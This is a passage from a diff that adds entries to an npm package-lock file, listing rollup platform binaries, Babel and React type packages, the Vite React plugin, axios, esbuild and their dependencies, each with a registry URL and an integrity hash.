"version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.0-beta.27", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", + "integrity": "sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.60.1.tgz", + "integrity": "sha512-d6FinEBLdIiK+1uACUttJKfgZREXrF0Qc2SmLII7W2AD8FfiZ9Wjd+rD/iRuf5s5dWrr1GgwXCvPqOuDquOowA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.60.1.tgz", + "integrity": "sha512-YjG/EwIDvvYI1YvYbHvDz/BYHtkY4ygUIXHnTdLhG+hKIQFBiosfWiACWortsKPKU/+dUwQQCKQM3qrDe8c9BA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.60.1.tgz", + "integrity": "sha512-mjCpF7GmkRtSJwon+Rq1N8+pI+8l7w5g9Z3vWj4T7abguC4Czwi3Yu/pFaLvA3TTeMVjnu3ctigusqWUfjZzvw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.60.1.tgz", + "integrity": "sha512-haZ7hJ1JT4e9hqkoT9R/19XW2QKqjfJVv+i5AGg57S+nLk9lQnJ1F/eZloRO3o9Scy9CM3wQ9l+dkXtcBgN5Ew==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.60.1.tgz", + "integrity": "sha512-czw90wpQq3ZsAVBlinZjAYTKduOjTywlG7fEeWKUA7oCmpA8xdTkxZZlwNJKWqILlq0wehoZcJYfBvOyhPTQ6w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.60.1.tgz", + "integrity": "sha512-KVB2rqsxTHuBtfOeySEyzEOB7ltlB/ux38iu2rBQzkjbwRVlkhAGIEDiiYnO2kFOkJp+Z7pUXKyrRRFuFUKt+g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.60.1.tgz", + "integrity": "sha512-L+34Qqil+v5uC0zEubW7uByo78WOCIrBvci69E7sFASRl0X7b/MB6Cqd1lky/CtcSVTydWa2WZwFuWexjS5o6g==", + "cpu": [ + "arm" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.60.1.tgz", + "integrity": "sha512-n83O8rt4v34hgFzlkb1ycniJh7IR5RCIqt6mz1VRJD6pmhRi0CXdmfnLu9dIUS6buzh60IvACM842Ffb3xd6Gg==", + "cpu": [ + "arm" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.60.1.tgz", + "integrity": "sha512-Nql7sTeAzhTAja3QXeAI48+/+GjBJ+QmAH13snn0AJSNL50JsDqotyudHyMbO2RbJkskbMbFJfIJKWA6R1LCJQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.60.1.tgz", + "integrity": "sha512-+pUymDhd0ys9GcKZPPWlFiZ67sTWV5UU6zOJat02M1+PiuSGDziyRuI/pPue3hoUwm2uGfxdL+trT6Z9rxnlMA==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.60.1.tgz", + "integrity": "sha512-VSvgvQeIcsEvY4bKDHEDWcpW4Yw7BtlKG1GUT4FzBUlEKQK0rWHYBqQt6Fm2taXS+1bXvJT6kICu5ZwqKCnvlQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.60.1.tgz", + "integrity": "sha512-4LqhUomJqwe641gsPp6xLfhqWMbQV04KtPp7/dIp0nzPxAkNY1AbwL5W0MQpcalLYk07vaW9Kp1PBhdpZYYcEw==", + "cpu": [ + "loong64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.60.1.tgz", + "integrity": "sha512-tLQQ9aPvkBxOc/EUT6j3pyeMD6Hb8QF2BTBnCQWP/uu1lhc9AIrIjKnLYMEroIz/JvtGYgI9dF3AxHZNaEH0rw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.60.1.tgz", + "integrity": "sha512-RMxFhJwc9fSXP6PqmAz4cbv3kAyvD1etJFjTx4ONqFP9DkTkXsAMU4v3Vyc5BgzC+anz7nS/9tp4obsKfqkDHg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.60.1.tgz", + "integrity": "sha512-QKgFl+Yc1eEk6MmOBfRHYF6lTxiiiV3/z/BRrbSiW2I7AFTXoBFvdMEyglohPj//2mZS4hDOqeB0H1ACh3sBbg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.60.1.tgz", + "integrity": "sha512-RAjXjP/8c6ZtzatZcA1RaQr6O1TRhzC+adn8YZDnChliZHviqIjmvFwHcxi4JKPSDAt6Uhf/7vqcBzQJy0PDJg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.60.1.tgz", + "integrity": "sha512-wcuocpaOlaL1COBYiA89O6yfjlp3RwKDeTIA0hM7OpmhR1Bjo9j31G1uQVpDlTvwxGn2nQs65fBFL5UFd76FcQ==", + "cpu": [ + "s390x" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.60.1.tgz", + "integrity": "sha512-77PpsFQUCOiZR9+LQEFg9GClyfkNXj1MP6wRnzYs0EeWbPcHs02AXu4xuUbM1zhwn3wqaizle3AEYg5aeoohhg==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.60.1.tgz", + "integrity": "sha512-5cIATbk5vynAjqqmyBjlciMJl1+R/CwX9oLk/EyiFXDWd95KpHdrOJT//rnUl4cUcskrd0jCCw3wpZnhIHdD9w==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.60.1.tgz", + "integrity": "sha512-cl0w09WsCi17mcmWqqglez9Gk8isgeWvoUZ3WiJFYSR3zjBQc2J5/ihSjpl+VLjPqjQ/1hJRcqBfLjssREQILw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.60.1.tgz", + "integrity": "sha512-4Cv23ZrONRbNtbZa37mLSueXUCtN7MXccChtKpUnQNgF010rjrjfHx3QxkS2PI7LqGT5xXyYs1a7LbzAwT0iCA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.60.1.tgz", + "integrity": "sha512-i1okWYkA4FJICtr7KpYzFpRTHgy5jdDbZiWfvny21iIKky5YExiDXP+zbXzm3dUcFpkEeYNHgQ5fuG236JPq0g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.60.1.tgz", + "integrity": "sha512-u09m3CuwLzShA0EYKMNiFgcjjzwqtUMLmuCJLeZWjjOYA3IT2Di09KaxGBTP9xVztWyIWjVdsB2E9goMjZvTQg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.60.1.tgz", + "integrity": "sha512-k+600V9Zl1CM7eZxJgMyTUzmrmhB/0XZnF4pRypKAlAgxmedUA+1v9R+XOFv56W4SlHEzfeMtzujLJD22Uz5zg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.60.1.tgz", + "integrity": "sha512-lWMnixq/QzxyhTV6NjQJ4SFo1J6PvOX8vUx5Wb4bBPsEb+8xZ89Bz6kOXpfXj9ak9AHTQVQzlgzBEc1SyM27xQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", + "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.2" + } + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/prop-types": { + "version": "15.7.15", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz", + "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "18.3.28", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.28.tgz", + "integrity": "sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/prop-types": "*", + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.3.7", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.7.tgz", + "integrity": "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^18.0.0" + } + }, + "node_modules/@vitejs/plugin-react": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", + "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.28.0", + "@babel/plugin-transform-react-jsx-self": "^7.27.1", + "@babel/plugin-transform-react-jsx-source": "^7.27.1", + "@rolldown/pluginutils": "1.0.0-beta.27", + "@types/babel__core": "^7.20.5", + "react-refresh": "^0.17.0" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "peerDependencies": { + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/axios": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz", + "integrity": "sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", + "proxy-from-env": "^2.1.0" + } + }, + "node_modules/baseline-browser-mapping": { + "version": "2.10.19", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.19.tgz", + "integrity": "sha512-qCkNLi2sfBOn8XhZQ0FXsT1Ki/Yo5P90hrkRamVFRS7/KV9hpfA4HkoWNU152+8w0zPjnxo5psx5NL3PSGgv5g==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/browserslist": { + "version": "4.28.2", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz", + "integrity": "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.10.12", + "caniuse-lite": "^1.0.30001782", + "electron-to-chromium": "^1.5.328", + "node-releases": "^2.0.36", + "update-browserslist-db": "^1.2.3" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001788", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001788.tgz", + "integrity": "sha512-6q8HFp+lOQtcf7wBK+uEenxymVWkGKkjFpCvw5W25cmMwEDU45p1xQFBQv8JDlMMry7eNxyBaR+qxgmTUZkIRQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.338", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.338.tgz", + "integrity": "sha512-KVQQ3xko9/coDX3qXLUEEbqkKT8L+1DyAovrtu0Khtrt9wjSZ+7CZV4GVzxFy9Oe1NbrIU1oVXCwHJruIA1PNg==", + "dev": true, + "license": "ISC" + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + "@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/follow-redirects": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": 